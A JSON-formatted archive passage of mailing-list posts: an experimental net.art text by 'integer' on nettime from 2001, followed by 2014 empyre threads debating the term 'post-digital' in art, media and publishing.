                "content": "\n\n[01 fragment ov dze nn prezentation at sonar.01]\n\n\n>From: Andreas Broeckmann\n\nTo: Netochka Nezvanova\n\n>dear,\n>your compulsion to comment on everything, respond to everything, forward \n>everything, say everything, is boring, not only for me. i get things like:\n>\n>>Subject: Syndicte_spam \n>>\n>>Dear Andreas\n>>Who is this \"integer {AT} www.god-emil.dk\" that is spamming syndicate-it\n>>really makes the list bad.\n>\n>strange to think that a single multiple like you can force a whole group to \n>migrate just because they are bullied out of the open hose that they have \n>created for themselves and others.\n>i don't understand you. you have a clear sense of what you are doing to the \n>lists on a social level and yet you insist on artistic autism for your own sake.\n>maybe you can explain to me, again?\n>you know that i am genuinely concerned, like i was a few years ago when we \n>decided to unsubscribe you in order not to drown in messages and frustration.\n\n\n\nthere is no god walking in this garden\n\na boundary is defined by exclusion\n\n\nfourteen month old human babies aren't bothered by breaches of propriety.\nnineteen month old human babies point an accusing finger at the tiniest flaw: a hole in clothes, \na chip in the paint, a spot of dirt on the wall, or most important, the `bad` behaviour of others.\nthey are incensed when things are `yucky`, `broken`, `boo-boo`, and `dirty`. \nin short, at less than 2 years old toddlers already show not just the instincts that patrol conformity within \nthemselves, but the weapons which will help them impose it on others.\n\nolder children become far more aggressive enforcers of conformity.\nas long ago as 1992, 21 percent of british schoolchildren had been teased, bullied, hit or kicked by fellow students.\nit japan, it is often the teacher who leads the pack.\n\nthings are not that different in the modern artistic community.\nwhen artists present works that contradict the tenets of established organizations' creed,\nthey are not praised for the objektivity of their work, but punished for their heresy. \nthey are derided, their works and papers rejected by galleries and journals;\nthey are excluded from key symposia - all an indirect way of forcing them to \"leave\".\n\na similar mechanism of repression is at work in every discipline i know.\n\nthe lesson taught: to go against the tide is suicide.\n\n\n\ncolour is a construction of the brain. there arent any colours in the `outside` world.\nnewton knew this - \"rays, to speak properly, have no colour. in them there is nothing else\nthan a certain power and disposition to stir up a sensation of this colour or that\"\n\n......\n\none of the most engaging puzzlez of a very puzzling art.\nthis is sharply emphasized by the delight of every spektator\nwho is succesful in solving the puzzle by finding in these enigmatic\nstories some sort of tangible, pictorial justification of the title appended thereto - nn ... \n\n\n\n\n\n1001 venztuze. nn - simply.SUPERIOR\n\n\n\n\n                                            pre.konssept!*n\n                                                  meeTz ver!f1kat!*n.\n \n \n \n  -\n \n  Netochka Nezvanova    -  your body may be monitored 4|4|4 quality control\n  \u0010f\u0010\u0010\u00103.MASCHIN3NKUNST\n   {AT} www.eusocial.org\n  17.hzV.tRL.478\n                                                      e\n                                                      |\n                                                       |  +----------\n                                                      |  |     <\n                                     \\\\----------------+  |  n2t^P\n                                                         |       \n                                                         e\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "id": "00053",
                "date": "Tue, 12 Jun 2001 13:45:45 +0200 (CEST)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200106142143.RAA19585 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0106/msg00053.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> \\/\\"
            }
        ],
        "desc": "(aka. antiorp, integer, =cw4t7abs, f1f0, 17.hzV.tRL.478, 0f0003)"
    },
    "post-digital": {
        "lists": [
            {
                "author_name": "Florian Cramer",
                "from": "flrncrmr at gmail.com",
                "id": "6962",
                "content": "It might make sense to add a historical dimension. Cascone introduced\n\"post-digital\" in the early 2000s to refer to glitch music and low-tech\ndigital aesthetics while today it has different connotations. I'd still\nmaintain that the term sucks, but the great resonance that it has (even\nhere on this list where we're supposedly discussing something else,\nalthough publishing is perhaps the strongest example of ambiguous states\nbetween analog and digital) proves its relevance.\n\nJust a sketch, highly simplified and polemical:\n\n# digital 1995-2004 | post-digital 1995-2004\ninteractive installation art (Jeffrey Shaw) | net.art (jodi)\nvirtual reality | mailing lists\nMAX/MSP | glitch\ntechno | 8-bit\nmultimedia | codework\ntrue color | ASCII\nGeneration Flash | shell scripts\nMIT, ZKM | self-organized spaces\ngaming | modding\nWired | Neural\nEdge.org | Nettime\n\n# digital 2005-2014 | post-digital 2005-2014\nblogs | zines\n4chan | Dexter Sinister\nUbuweb | artist-run bookstores\nVimeo | handmade film labs\nmp3 | vinyl, cassettes\nmobile device | offline\nComputer Music Journal | The Wire\nSingularity Movement | Object-Oriented Ontology\nPirate Parties | Occupy movement\nBitcoin | timebanks\n\nMy own preferred view on post-digitality would be something that bridges a\ncouple of the 2005-2014 opposites. That could be a plan for 2015-2024.\n\n-F\n\n(Note that this posting doesn't take itself too seriously.)\n\n\n-\n\n\nOn Sat, Feb 15, 2014 at 11:34 AM, Michael Dieter <M.J.Dieter at uva.nl> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> I want to ask some questions about the lists that were posted this\n> week. To recap:\n>\n> From David's post -\n>\n>   +-----------------+------------------+\n>   |    DIGITAL      |   POST-DIGITAL   |\n>   +------------------------------------>\n>   | Non-zero sum    | Zero-sum         |\n>   | Objects         | Streams          |\n>   | Files           | Clouds           |\n>   | Programs        | Apps             |\n>   | SQL databases   | NoSQL storage    |\n>   | HTML            | node.js/APIs     |\n>   | Disciplinary    | Control          |\n>   | Administration  | Logistics        |\n>   | Connect         | Always-on        |\n>   | Copy/Paste      | Intermediate     |\n>   | Digital         | Computal         |\n>   | Hybrid          | Unified          |\n>   | Interface       | Surface          |\n>   | BitTorrent      | Scraping         |\n>   | Participation   | Sharing/Making   |\n>   | Metadata        | Metacontent      |\n>   | Web 2.0         | Stacks           |\n>   | Medium          | Platform         |\n>   | Games           | World            |\n>   | Software agents | Compactants      |\n>   | Experience      | Engagement       |\n>   | Syndication     | Push notification|\n>   | GPS             | Beacons  (IoTs)  |\n>   | Art             | Aesthetics       |\n>   | Privacy         | Personal Cloud   |\n>   | Plaintext       | Cryptography     |\n>   | Big data        | Real-time        |\n>   | Responsive      | Anticipatory     |\n>   | Tracing         | Tracking         |\n>   +------------------------------------>\n>\n> From Rita's Post -\n>\n> Physical media                                        Streaming media\n> Local servers                                           Clouds\n> GUI and WIMP                                       Other multimodal\n> interfaces (affective, conversational, haptic, immersive, direct\n> manipulation, perceptual)\n> Storyspace                                               iOS\n> Floppy disks                                            Apps with bonus\n> features\n> Amateurism                                            Venture capital\n> Listservs\n> CommentPress, SocialBook\n> Monograph                                               Excerpts,\n> chapters, paragraphs\n> Library                                                    Repository\n> Xerox copies                                            Open Access as\n> idea; paywall as practice\n> Transcription                                            Digitization\n> Adaptations, versioning (sequential)        Transmedial storytelling\n> (simultaneous)\n> File structures                                            Slider bar\n> Collage aesthetic (static)                            Networked books,\n> liquid books (dynamic)\n> Artists books                                            The neo-analog\n> Book as artifact                                     The expanded book\n> (not-codex, not-digital, not-game, not-conversation, not-collaborative\n> content creation but situated in the interstitial field)\n> Pay to read                                                Pay to publish\n> Editions                                                    Browser\n> and system compatibility\n> Bookseller                                                Amazon\n> Project Gutenberg                                       Google books\n> Borrower records, purchasing history        Granular data collection\n> File sharing                                                File sharing\n> Market monopolies                                    Market monopolies\n> -------------------------\n>\n> Thanks David and Rita for these,\n>\n> I guess diagrammatics or concept maps are always something of a last\n> resort during any period of disorientation, so thanks for putting\n> together this thought-provoking set of distinctions to provide some\n> coordinates.\n>\n> For whatever it's worth, I find Rita's map a bit more recognizable, if\n> only because I'm ultimately not sure how some of these binaries are\n> supposed to operate in David's model. I can't tell if something like\n> \"games | world\", for instance, should be considered more along the\n> lines of, say, Kostas Axelos or Jane McGonigal (maybe both?).\n> Similarly, \"art | aesthetics\" also seems problematic: art discourses\n> have always been deeply intertwined with aesthetic frameworks since\n> Kant's engagements with Baumgarten; and the concept of media,\n> moreover, itself arises alongside these genealogies of aesthetic\n> thought. I wonder what kind of distinction is being made here, unless\n> this is just a veiled reference to Bridle's New Aesthetic project? On\n> the more technical side of things, why place a distinction between\n> \"Web 2.0 | The Stack\"? Besides the fact that your list already recalls\n> Tim O'Reilly's own set of marketing distinctions, surely this is\n> actually a more or less consistent trajectory of intensification\n> towards the consolidation and enclosure of internet infrastructures\n> through corporate services. A key moment here would be the\n> introduction of Amazon Web Services geared toward selling server-space\n> to corporate clients in 2006, more or less contemporaneous with the\n> user-generated content hype.\n>\n> On the other hand, maybe I'm just being a bit nit-picky. Perhaps it's\n> best to just take the list as a provocation or speculative map for\n> discussion. In this case, one thing I want to ask about is what kind\n> of references are you drawing from to sketch out the post-digital. As\n> opposed to the art-orientated definition from Alessandro and Florian -\n> which they tend to trace back to Kim Cascone's 'Aesthetic of Failure'\n> essay - there is a competing corporate literature that you're alluding\n> to here. Can unpack that discourse in a bit more detail, especially\n> when it comes to these points about it being a zero-sum game?\n>\n> For Rita's set of terms, meanwhile, I also wondered how I should read\n> these - should I take it as a straight transition from left to right?\n> Or something more like a dialectical situation, or Greimasian binary\n> oppositions? The latter approaches actually might not be too\n> far-fetched with some of these terms, since artist books and\n> booksellers, for instance, are being recontextualized and revived in\n> specific ways as a result of whatever's going on to the right. Just\n> think about the fetishization of the print book as technical object by\n> Visual Editions, or the maker-like slow theory artisanal processes of\n> Univocal Publishing, or the revival of post-digital Xeroxed zines with\n> Motto.\n>\n> I wonder if I could ask Rita whether it might be useful to also\n> provide some explicit case studies, artworks, books or projects that\n> might populate or transform the set up you've provided? There's\n> material I know you've taught and written criticism on, but it might\n> be useful to explicitly propose some cases to help us to grasp the\n> stakes of the formation you're proposing.\n>\n> Cheers,\n>\n> --\n> Michael Dieter\n> Lecturer\n> Media Studies\n> The University of Amsterdam\n> Turfdraagsterpad 9\n> 1012 XT Amsterdam\n> http://home.medewerker.uva.nl/m.j.dieter/\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140215/b77554cb/attachment.htm>\n",
                "date": "Sun Feb 16 04:04:42 EST 2014",
                "message-id": "6962",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006962.html",
                "content-type": "n/a",
                "list": "empyre",
                "follow-up": [
                    {
                        "from": "netwurker at gmail.com",
                        "id": "6966",
                        "content": "A quick aside...\n\nFunny how no-one identifies my 1996 term \"post-modemism\" here, though I can\nsee why (given it was a net.art element + avatar label & not a theoretical\nposture): http://www.artelectronicmedia.com/artwork/cutting-spaces +\nhttp://xchange.re-lab.net/xchange4/xchange4.html. Maybe it's not relevant\nhere?\n\nChunks,\nMez\n\n\n\nOn Sun, Feb 16, 2014 at 4:04 AM, Florian Cramer <flrncrmr at gmail.com> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> It might make sense to add a historical dimension. Cascone introduced\n> \"post-digital\" in the early 2000s to refer to glitch music and low-tech\n> digital aesthetics while today it has different connotations. I'd still\n> maintain that the term sucks, but the great resonance that it has (even\n> here on this list where we're supposedly discussing something else,\n> although publishing is perhaps the strongest example of ambiguous states\n> between analog and digital) proves its relevance.\n>\n> Just a sketch, highly simplified and polemical:\n>\n> # digital 1995-2004 | post-digital 1995-2004\n> interactive installation art (Jeffrey Shaw) | net.art (jodi)\n> virtual reality | mailing lists\n> MAX/MSP | glitch\n> techno | 8-bit\n> multimedia | codework\n> true color | ASCII\n> Generation Flash | shell scripts\n> MIT, ZKM | self-organized spaces\n> gaming | modding\n> Wired | Neural\n> Edge.org | Nettime\n>\n> # digital 2005-2014 | post-digital 2005-2014\n> blogs | zines\n> 4chan | Dexter Sinister\n> Ubuweb | artist-run bookstores\n> Vimeo | handmade film labs\n> mp3 | vinyl, cassettes\n> mobile device | offline\n> Computer Music Journal | The Wire\n> Singularity Movement | Object-Oriented Ontology\n> Pirate Parties | Occupy movement\n> Bitcoin | timebanks\n>\n> My own preferred view on post-digitality would be something that bridges a\n> couple of the 2005-2014 opposites. That could be a plan for 2015-2024.\n>\n>  -F\n>\n> (Note that this posting doesn't take itself too seriously.)\n>\n>\n> -\n>\n>\n> On Sat, Feb 15, 2014 at 11:34 AM, Michael Dieter <M.J.Dieter at uva.nl>wrote:\n>\n>> ----------empyre- soft-skinned space----------------------\n>> I want to ask some questions about the lists that were posted this\n>> week. To recap:\n>>\n>> From David's post -\n>>\n>>   +-----------------+------------------+\n>>   |    DIGITAL      |   POST-DIGITAL   |\n>>   +------------------------------------>\n>>   | Non-zero sum    | Zero-sum         |\n>>   | Objects         | Streams          |\n>>   | Files           | Clouds           |\n>>   | Programs        | Apps             |\n>>   | SQL databases   | NoSQL storage    |\n>>   | HTML            | node.js/APIs     |\n>>   | Disciplinary    | Control          |\n>>   | Administration  | Logistics        |\n>>   | Connect         | Always-on        |\n>>   | Copy/Paste      | Intermediate     |\n>>   | Digital         | Computal         |\n>>   | Hybrid          | Unified          |\n>>   | Interface       | Surface          |\n>>   | BitTorrent      | Scraping         |\n>>   | Participation   | Sharing/Making   |\n>>   | Metadata        | Metacontent      |\n>>   | Web 2.0         | Stacks           |\n>>   | Medium          | Platform         |\n>>   | Games           | World            |\n>>   | Software agents | Compactants      |\n>>   | Experience      | Engagement       |\n>>   | Syndication     | Push notification|\n>>   | GPS             | Beacons  (IoTs)  |\n>>   | Art             | Aesthetics       |\n>>   | Privacy         | Personal Cloud   |\n>>   | Plaintext       | Cryptography     |\n>>   | Big data        | Real-time        |\n>>   | Responsive      | Anticipatory     |\n>>   | Tracing         | Tracking         |\n>>   +------------------------------------>\n>>\n>> From Rita's Post -\n>>\n>> Physical media                                        Streaming media\n>> Local servers                                           Clouds\n>> GUI and WIMP                                       Other multimodal\n>> interfaces (affective, conversational, haptic, immersive, direct\n>> manipulation, perceptual)\n>> Storyspace                                               iOS\n>> Floppy disks                                            Apps with bonus\n>> features\n>> Amateurism                                            Venture capital\n>> Listservs\n>> CommentPress, SocialBook\n>> Monograph                                               Excerpts,\n>> chapters, paragraphs\n>> Library                                                    Repository\n>> Xerox copies                                            Open Access as\n>> idea; paywall as practice\n>> Transcription                                            Digitization\n>> Adaptations, versioning (sequential)        Transmedial storytelling\n>> (simultaneous)\n>> File structures                                            Slider bar\n>> Collage aesthetic (static)                            Networked books,\n>> liquid books (dynamic)\n>> Artists books                                            The neo-analog\n>> Book as artifact                                     The expanded book\n>> (not-codex, not-digital, not-game, not-conversation, not-collaborative\n>> content creation but situated in the interstitial field)\n>> Pay to read                                                Pay to publish\n>> Editions                                                    Browser\n>> and system compatibility\n>> Bookseller                                                Amazon\n>> Project Gutenberg                                       Google books\n>> Borrower records, purchasing history        Granular data collection\n>> File sharing                                                File sharing\n>> Market monopolies                                    Market monopolies\n>> -------------------------\n>>\n>> Thanks David and Rita for these,\n>>\n>> I guess diagrammatics or concept maps are always something of a last\n>> resort during any period of disorientation, so thanks for putting\n>> together this thought-provoking set of distinctions to provide some\n>> coordinates.\n>>\n>> For whatever it's worth, I find Rita's map a bit more recognizable, if\n>> only because I'm ultimately not sure how some of these binaries are\n>> supposed to operate in David's model. I can't tell if something like\n>> \"games | world\", for instance, should be considered more along the\n>> lines of, say, Kostas Axelos or Jane McGonigal (maybe both?).\n>> Similarly, \"art | aesthetics\" also seems problematic: art discourses\n>> have always been deeply intertwined with aesthetic frameworks since\n>> Kant's engagements with Baumgarten; and the concept of media,\n>> moreover, itself arises alongside these genealogies of aesthetic\n>> thought. I wonder what kind of distinction is being made here, unless\n>> this is just a veiled reference to Bridle's New Aesthetic project? On\n>> the more technical side of things, why place a distinction between\n>> \"Web 2.0 | The Stack\"? Besides the fact that your list already recalls\n>> Tim O'Reilly's own set of marketing distinctions, surely this is\n>> actually a more or less consistent trajectory of intensification\n>> towards the consolidation and enclosure of internet infrastructures\n>> through corporate services. A key moment here would be the\n>> introduction of Amazon Web Services geared toward selling server-space\n>> to corporate clients in 2006, more or less contemporaneous with the\n>> user-generated content hype.\n>>\n>> On the other hand, maybe I'm just being a bit nit-picky. Perhaps it's\n>> best to just take the list as a provocation or speculative map for\n>> discussion. In this case, one thing I want to ask about is what kind\n>> of references are you drawing from to sketch out the post-digital. As\n>> opposed to the art-orientated definition from Alessandro and Florian -\n>> which they tend to trace back to Kim Cascone's 'Aesthetic of Failure'\n>> essay - there is a competing corporate literature that you're alluding\n>> to here. Can unpack that discourse in a bit more detail, especially\n>> when it comes to these points about it being a zero-sum game?\n>>\n>> For Rita's set of terms, meanwhile, I also wondered how I should read\n>> these - should I take it as a straight transition from left to right?\n>> Or something more like a dialectical situation, or Greimasian binary\n>> oppositions? The latter approaches actually might not be too\n>> far-fetched with some of these terms, since artist books and\n>> booksellers, for instance, are being recontextualized and revived in\n>> specific ways as a result of whatever's going on to the right. Just\n>> think about the fetishization of the print book as technical object by\n>> Visual Editions, or the maker-like slow theory artisanal processes of\n>> Univocal Publishing, or the revival of post-digital Xeroxed zines with\n>> Motto.\n>>\n>> I wonder if I could ask Rita whether it might be useful to also\n>> provide some explicit case studies, artworks, books or projects that\n>> might populate or transform the set up you've provided? There's\n>> material I know you've taught and written criticism on, but it might\n>> be useful to explicitly propose some cases to help us to grasp the\n>> stakes of the formation you're proposing.\n>>\n>> Cheers,\n>>\n>> --\n>> Michael Dieter\n>> Lecturer\n>> Media Studies\n>> The University of Amsterdam\n>> Turfdraagsterpad 9\n>> 1012 XT Amsterdam\n>> http://home.medewerker.uva.nl/m.j.dieter/\n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.cofa.unsw.edu.au\n>> http://www.subtle.net/empyre\n>>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n\n\n\n-- \n| facebook.com/MezBreezeDesign <http://www.facebook.com/MezBreezeDesign>\n| twitter.com/MezBreezeDesign\n| en.wikipedia.org/wiki/Mez_Breeze\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140216/1a22ab85/attachment.htm>\n",
                        "date": "Sun Feb 16 08:09:40 EST 2014",
                        "message-id": "6966",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006966.html",
                        "content-type": "n/a",
                        "author_name": "mez breeze",
                        "subject": "[-empyre-] Post-Digital Listings"
                    },
                    {
                        "from": "dmberry at gmail.com",
                        "id": "6973",
                        "content": "Hi Michael (and others),\n\nI think the key with thinking through the cognitive map I presented is not to look for a final reconciliation or overall unity, as I don\u2019t necessarily think that that is even possible within a moment of variable modulations in our current social formations as computational societies \u2013 i.e. they are not necessary meant to be \u201cmodels\u201d as such. Rather the table I offered is meant to provide constellations of moments within a \u201cdigital\u201d as opposed to a \u201cpost-digital\u201d ecology, as it were, and, of course, a provocation to thought. But they can be thought of as ideal types, if you like, that can provide some conceptual stability for thinking, in an environment of accelerating technical change and dramatic and unpredictable social tensions in response to this. The question then becomes to what extent can the post-digital counter-act the tendencies towards domination of specific modes of thought in relation to instrumentality, particularly manifested in computational devices and systems? For example, the contrast between the moments represented by Web 2.0 / Stacks provides an opportunity for thinking about how new platforms have been built on the older Web 2.0 systems, in some cases replacing them, and in others opening up new possibilities which Tiziana Terranova has pointed to in her intriguing notion of \u201cRed Stacks\u201d, for example (and in contrast to Bruce Sterlings notion of \u201cThe Stacks\u201d, e.g. Google, Facebook, etc.). Here I have been thinking of the notion of the digital as representing a form of \u201cweak computation/computationality\u201d, versus the post-digital as \u201cstrong computation/computationality\u201d, and what would the consequences be for a society that increasingly finds that the weak computational forms (CDs, DVDs, laptops, desktops, Blogs, RSS, Android Open Source Platform [AOSP], open platforms and systems, etc.) are replaced by stronger, encrypted and/or locked-in versions (FairPlay DRM, Advanced Access Content System [AACS], iPads, Twitter, Push-notification, Google Mobile Services [GMS], Trackers, Sensors, ANTICRISIS GIRL, etc.)?  \n\nThese are not just meant to be thought of in a technical register, rather the notion of \u201cweak computation\u201d points towards a \u201cweak computational sociality\u201d and \u201cstrong computation\u201d points towards a \u201cstrong computation sociality\u201d, highlighting the deeper penetration of computational forms into everyday life within social media and push-notification, for example. Even as the post-digital opens up new possibilities for contestation, e.g. megaleaks, data journalism, hacks, cryptography, dark nets, torrents, the Alexandria Project, etc. and new opportunities for creating, sharing and reading knowledges, the \u201cstrong computation\u201d of the post-digital always already suggests the shadow of computation reflected in heightened tracking, surveillance and monitoring of a control society. The post-digital points towards a reconfiguration of publishing away from the (barely) digital techniques of the older book publishing industry, and towards the post-digital singularity of Amazonized publishing with its accelerated instrumentalised forms of softwarized logistics whilst also simultaneously supporting new forms of post-digital craft production of books and journals, and providing globalised distribution. How then can we think about these contradictions in the unfolding of the post-digital and its tendencies towards what I am calling here \u201cstrong computation\u201d, and in what way, even counter-intuitively, does the digital (weak computation) offer alternatives, even as marginal critical practice, and the post-digital (strong computation) create new critical practices (e.g. critical engineering), against the increasing interconnection, intermediation and seamless functioning and operation of the post-digital as pure instrumentality, horizon, and/or imaginary.   \n\nSee for example:\n\nhttp://stunlaw.blogspot.co.uk/2013/10/digital-breadcrumbs.html\n\nhttp://www.euronomade.info/?p=1708\n\nBest\n\nDavid\n\n\n\n\n\n\n\n\nOn Sat, Feb 15, 2014 at 11:34 AM, Michael Dieter <M.J.Dieter at uva.nl> wrote:\n\n> \n> Thanks David and Rita for these,\n> \n> I guess diagrammatics or concept maps are always something of a last\n> resort during any period of disorientation, so thanks for putting\n> together this thought-provoking set of distinctions to provide some\n> coordinates.\n> \n> For whatever it's worth, I find Rita's map a bit more recognizable, if\n> only because I'm ultimately not sure how some of these binaries are\n> supposed to operate in David's model. I can't tell if something like\n> \"games | world\", for instance, should be considered more along the\n> lines of, say, Kostas Axelos or Jane McGonigal (maybe both?).\n> Similarly, \"art | aesthetics\" also seems problematic: art discourses\n> have always been deeply intertwined with aesthetic frameworks since\n> Kant's engagements with Baumgarten; and the concept of media,\n> moreover, itself arises alongside these genealogies of aesthetic\n> thought. I wonder what kind of distinction is being made here, unless\n> this is just a veiled reference to Bridle's New Aesthetic project? On\n> the more technical side of things, why place a distinction between\n> \"Web 2.0 | The Stack\"? Besides the fact that your list already recalls\n> Tim O'Reilly's own set of marketing distinctions, surely this is\n> actually a more or less consistent trajectory of intensification\n> towards the consolidation and enclosure of internet infrastructures\n> through corporate services. A key moment here would be the\n> introduction of Amazon Web Services geared toward selling server-space\n> to corporate clients in 2006, more or less contemporaneous with the\n> user-generated content hype.\n> \n> On the other hand, maybe I'm just being a bit nit-picky. Perhaps it's\n> best to just take the list as a provocation or speculative map for\n> discussion. In this case, one thing I want to ask about is what kind\n> of references are you drawing from to sketch out the post-digital. As\n> opposed to the art-orientated definition from Alessandro and Florian -\n> which they tend to trace back to Kim Cascone's 'Aesthetic of Failure'\n> essay - there is a competing corporate literature that you're alluding\n> to here. Can unpack that discourse in a bit more detail, especially\n> when it comes to these points about it being a zero-sum game?\n> \n> For Rita's set of terms, meanwhile, I also wondered how I should read\n> these - should I take it as a straight transition from left to right?\n> Or something more like a dialectical situation, or Greimasian binary\n> oppositions? The latter approaches actually might not be too\n> far-fetched with some of these terms, since artist books and\n> booksellers, for instance, are being recontextualized and revived in\n> specific ways as a result of whatever's going on to the right. Just\n> think about the fetishization of the print book as technical object by\n> Visual Editions, or the maker-like slow theory artisanal processes of\n> Univocal Publishing, or the revival of post-digital Xeroxed zines with\n> Motto.\n> \n> I wonder if I could ask Rita whether it might be useful to also\n> provide some explicit case studies, artworks, books or projects that\n> might populate or transform the set up you've provided? There's\n> material I know you've taught and written criticism on, but it might\n> be useful to explicitly propose some cases to help us to grasp the\n> stakes of the formation you're proposing.\n> \n> Cheers,\n> \n> --\n> Michael Dieter\n> Lecturer\n> Media Studies\n> The University of Amsterdam\n> Turfdraagsterpad 9\n> 1012 XT Amsterdam\n> http://home.medewerker.uva.nl/m.j.dieter/\n\n---\n\nDr. David M. Berry\nReader\n\nSilverstone 316\n\nSchool of Media, Film and Music\nUniversity of Sussex,\nFalmer, \nEast Sussex. BN1 8PP\n\nhttp://www.sussex.ac.uk/profiles/125219\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140219/f09e30d9/attachment.htm>\n-------------- next part --------------\nA non-text attachment was scrubbed...\nName: signature.asc\nType: application/pgp-signature\nSize: 496 bytes\nDesc: Message signed with OpenPGP using GPGMail\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140219/f09e30d9/attachment.sig>\n",
                        "date": "Wed Feb 19 12:26:19 EST 2014",
                        "message-id": "6973",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006973.html",
                        "content-type": "n/a",
                        "author_name": "David Berry",
                        "subject": "[-empyre-] Post-Digital Listings"
                    }
                ],
                "subject": "[-empyre-] Post-Digital Listings"
            },
            {
                "content-type": "n/a",
                "from": "M.J.Dieter at uva.nl",
                "id": "6923",
                "content": "Something else I want to ask about.\n\nThis is the definition that the Post-Digital Research group settled on\nfor their publication:\n\n\"Post-digital, once understood as a critical reflection of \"digital\"\naesthetic immaterialism, now describes the messy and paradoxical\ncondition of art and media after digital technology revolutions.\n\"Post-digital\" neither recognizes the distinction between \"old\" and\n\"new\" media, nor ideological affirmation of the one or the other. It\nmerges \"old\" and \"new\", often applying network cultural\nexperimentation to analog technologies which it re-investigates and\nre-uses. It tends to focus on the experiential rather than the\nconceptual. It looks for DIY agency outside totalitarian innovation\nideology, and for networking off big data capitalism. At the same\ntime, it already has become commercialized.\"\n\nI'm curious about the emphasis here on the experiential, rather than\nthe conceptual. Why emphasize one over the other in this way? What\nworks or practices did the group have in mind? In a weird way, this\ndescription actually reminds me of something like relational\naesthetics.\n\n-- \nMichael Dieter\nLecturer\nMedia Studies\nThe University of Amsterdam\nTurfdraagsterpad 9\n1012 XT Amsterdam\nhttp://home.medewerker.uva.nl/m.j.dieter/\n",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006923.html",
                "follow-up": [
                    {
                        "author_name": "Renate Ferro",
                        "from": "rtf9 at cornell.edu",
                        "id": "6926",
                        "content": "Michael just a quick question.  Do you have a quick link to the\nPost-Digital Research Group?\nand their publications?\n\nPerhaps you did that it your into and I missed it?\n\n\nOn Sun, Feb 9, 2014 at 1:44 PM, Michael Dieter <M.J.Dieter at uva.nl> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> Something else I want to ask about.\n>\n> This is the definition that the Post-Digital Research group settled on\n> for their publication:\n>\n> \"Post-digital, once understood as a critical reflection of \"digital\"\n> aesthetic immaterialism, now describes the messy and paradoxical\n> condition of art and media after digital technology revolutions.\n> \"Post-digital\" neither recognizes the distinction between \"old\" and\n> \"new\" media, nor ideological affirmation of the one or the other. It\n> merges \"old\" and \"new\", often applying network cultural\n> experimentation to analog technologies which it re-investigates and\n> re-uses. It tends to focus on the experiential rather than the\n> conceptual. It looks for DIY agency outside totalitarian innovation\n> ideology, and for networking off big data capitalism. At the same\n> time, it already has become commercialized.\"\n>\n> I'm curious about the emphasis here on the experiential, rather than\n> the conceptual. Why emphasize one over the other in this way? What\n> works or practices did the group have in mind? In a weird way, this\n> description actually reminds me of something like relational\n> aesthetics.\n>\n> --\n> Michael Dieter\n> Lecturer\n> Media Studies\n> The University of Amsterdam\n> Turfdraagsterpad 9\n> 1012 XT Amsterdam\n> http://home.medewerker.uva.nl/m.j.dieter/\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n\n\n\n-- \n\nRenate Ferro\nVisiting Assistant Professor of Art,\n(contracted since 2004)\nCornell University\nDepartment of Art, Tjaden Hall Office:  306\nIthaca, NY  14853\nEmail:   <rferro at cornell.edu <rtf9 at cornell.edu>>\nURL:  http://www.renateferro.net\n      http://www.privatesecretspubliclies.net\nLab:  http://www.tinkerfactory.net\n\nManaging Co-moderator of -empyre- soft skinned space\nhttp://empyre.library.cornell.edu/\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140209/4eb1ac2c/attachment.htm>\n",
                        "date": "Mon Feb 10 07:55:01 EST 2014",
                        "message-id": "6926",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006926.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "from": "mmcarden at usc.edu",
                                "id": "6929",
                                "content": "I was wondering that too, it's here:\n\nhttp://post-digital.projects.cavi.dk/\n\n\n\n\nOn Sun, Feb 9, 2014 at 3:55 PM, Renate Ferro <rtf9 at cornell.edu> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n>\n> Michael just a quick question.  Do you have a quick link to the\n> Post-Digital Research Group?\n> and their publications?\n>\n> Perhaps you did that it your into and I missed it?\n>\n>\n> On Sun, Feb 9, 2014 at 1:44 PM, Michael Dieter <M.J.Dieter at uva.nl> wrote:\n>\n>> ----------empyre- soft-skinned space----------------------\n>> Something else I want to ask about.\n>>\n>> This is the definition that the Post-Digital Research group settled on\n>> for their publication:\n>>\n>> \"Post-digital, once understood as a critical reflection of \"digital\"\n>> aesthetic immaterialism, now describes the messy and paradoxical\n>> condition of art and media after digital technology revolutions.\n>> \"Post-digital\" neither recognizes the distinction between \"old\" and\n>> \"new\" media, nor ideological affirmation of the one or the other. It\n>> merges \"old\" and \"new\", often applying network cultural\n>> experimentation to analog technologies which it re-investigates and\n>> re-uses. It tends to focus on the experiential rather than the\n>> conceptual. It looks for DIY agency outside totalitarian innovation\n>> ideology, and for networking off big data capitalism. At the same\n>> time, it already has become 